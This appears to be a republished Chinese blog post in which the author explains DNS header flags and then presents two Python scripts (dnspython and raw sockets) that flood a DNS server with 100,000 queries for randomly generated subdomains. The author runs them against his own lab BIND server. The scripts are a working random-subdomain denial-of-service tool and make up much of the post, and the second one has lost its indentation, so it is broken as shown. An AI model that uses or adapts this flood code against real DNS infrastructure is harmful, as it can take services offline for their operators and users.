通过python的dnspython模块实现DNS流量攻击

Posted KaShing

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了通过python的dnspython模块实现DNS流量攻击相关的知识,希望对你有一定的参考价值。

一、

  我是个菜B,慢慢摸索学习中。

  安装模块   pip install dnspython

  使用python调用dnspython模块,写了一个dns攻击的小程序,目标IP为自己搭建的DNS服务器,并且可以获取DNS的标志位返回值,其中还可以使用程序查看返回值,其实没卵用。

  相关的DNS的报文格式大概如下:

    

(1)公共报文头格式其中header报文头是必须有的,其他的有没有在报文头里有定义:

标识ID: 请求客户端设置的16位标示,服务器给出应答的时候会带相同的标示字段回来,这样请求客户端就可以区分不同的请求应答了。

QR 1个比特位用来区分是请求(0)还是应答(1)。

OPCODE 4个比特位用来设置查询的种类,应答的时候会带相同值,可用的值如下:

0 标准查询 (QUERY)

1 反向查询 (IQUERY)

2 服务器状态查询 (STATUS)

3-15 保留值,暂时未使用

AA 授权应答(Authoritative Answer) - 这个比特位在应答的时候才有意义,指出给出应答的服务器是查询域名的授权解析服务器。

注意因为别名的存在,应答可能存在多个主域名,这个AA位对应请求名,或者应答中的第一个主域名。

TC 截断(TrunCation) - 用来指出报文比允许的长度还要长,导致被截断。

RD 期望递归(Recursion Desired) - 这个比特位被请求设置,应答的时候使用的相同的值返回。如果设置了RD,就建议域名服务器进行递归解析,递归查询的支持是可选的。

RA 支持递归(Recursion Available) - 这个比特位在应答中设置或取消,用来代表服务器是否支持递归查询。

Z 保留值,暂时未使用。在所有的请求和应答报文中必须置为0。

RCODE 应答码(Response code) - 这4个比特位在应答报文中设置,代表的含义如下:

0 没有错误。

1 报文格式错误(Format error) - 服务器不能理解请求的报文。

2 服务器失败(Server failure) - 因为服务器的原因导致没办法处理这个请求。

3 名字错误(Name Error) - 只有对授权域名解析服务器有意义,指出解析的域名不存在。

4 没有实现(Not Implemented) - 域名服务器不支持查询类型。

5 拒绝(Refused) - 服务器由于设置的策略拒绝给出应答。比如,服务器不希望对某些请求者给出应答,或者服务器不希望进行某些操作(比如区域传送zone transfer)。

6-15 保留值,暂时未使用。

问题数QDCOUNT 无符号16位整数表示报文请求段中的问题记录数。

资源记录数ANCOUNT 无符号16位整数表示报文回答段中的回答记录数。

授权资源记录数NSCOUNT 无符号16位整数表示报文授权段中的授权记录数。

额外资源记录数ARCOUNT 无符号16位整数表示报文附加段中的附加记录数。

 

说句实话,我这种菜B真的是看不懂这些。

下面是我的小代码,其实很简单的:相关dnspython模块可以参考https://www.cnblogs.com/nicholas-920610/articles/7149057.html

from  dns import message,query
import random
import string
import multiprocessing
import threading

def FlagCount(flags, pos):
    if int(flags/(2**pos))%2 == 1:
        return True
    else:
        return False

def GetFlags(flags):
    QR_pos = 15
    AA_pos = 10
    TC_pos = 9
    RD_pos = 8
    RA_pos = 7
    QR_flag = FlagCount(flags, QR_pos)
    AA_flag = FlagCount(flags, AA_pos)
    TC_flag = FlagCount(flags, TC_pos)
    RD_flag = FlagCount(flags, RD_pos)
    RA_flag = FlagCount(flags, RA_pos)
    flag_dic = {"QR":QR_flag, "AA":AA_flag, "TC":TC_flag, "RD":RD_flag, "RA":RA_flag}
    for flag,v in flag_dic.items():
        print(flag,\':\',v)

def attack(domain_name):
    server = \'192.168.32.128\'
    port = 53
    dns_query = message.make_query(domain_name,\'A\')
    response = query.udp(dns_query,server,port)
    # print(response)

def generate_random_name():
    ch = list(string.ascii_lowercase) + list(map(str,range(10)))
    rand_ch = random.sample(ch,random.randint(3,10))
    return \'\'.join(rand_ch)

def start_attack():
    domain_name = generate_random_name() + \'.hjc.com\'
    attack(domain_name)
    print(domain_name)

if __name__ == \'__main__\':
    p = multiprocessing.Pool(processes=multiprocessing.cpu_count())
    for _ in range(100000):
        p.apply_async(start_attack)
    p.close()
    p.join()
    # print(response)
    # for content in response.answer:
    #     print(content.to_text())
    # GetFlags(response.flags)

改进版本,利用socket发包,但是不知道为什么流量很低,有待研究:


# -*- utf-8 -*-
import socket
import random
import string
import multiprocessing

def generate_random_name():
ch = list(string.ascii_lowercase) + list(map(str,range(10)))
rand_ch = random.sample(ch,random.randint(3,10))
return \'\'.join(rand_ch)


def start_attack():
rand_name = generate_random_name()
len_rand_name = chr(len(rand_name))
identifier = chr(random.randint(1,255))
msg = bytes(map(ord, \'%s%s\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00%s%s\\x03hjc\\x03com\\x00\\x00\\x01\\x00\\x01\' % (identifier,identifier,
len_rand_name, rand_name)))
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setblocking(0)
sock.sendto(msg, (\'192.168.5.128\', 53))

if __name__ == \'__main__\':
p = multiprocessing.Pool(processes=multiprocessing.cpu_count())
for _ in range(100000):
p.apply_async(start_attack)
p.close()
p.join()

 

就是这个样子了,不成气候,不知道为啥流量上不来

组成的随机域名大致如下所示:

tozmgde7.hjc.com
u2js79.hjc.com
vru76f.hjc.com
9okeyptud.hjc.com
207lih.hjc.com

在我的DNS服务器192.168.5.128上开启了BIND服务,并打开了query_log日志,相关日志请求样子如下:

结合awk等命令统计了一下,一分钟的请求量,如图:

 

就是这样子了,自己玩一玩,没有实际测试过线上的攻击额,我要努力向单位和生活中的大神们学习啊。

以上是关于通过python的dnspython模块实现DNS流量攻击的主要内容,如果未能解决你的问题,请参考以下文章

python -- DNS处理模块dnspython

Python DNS 处理模块 dnspython

Python学习笔记-DNS处理模块dnspython

python-dnspython模块

DNS模块dnspython应用及业务监控示例

dns处理模块dnspython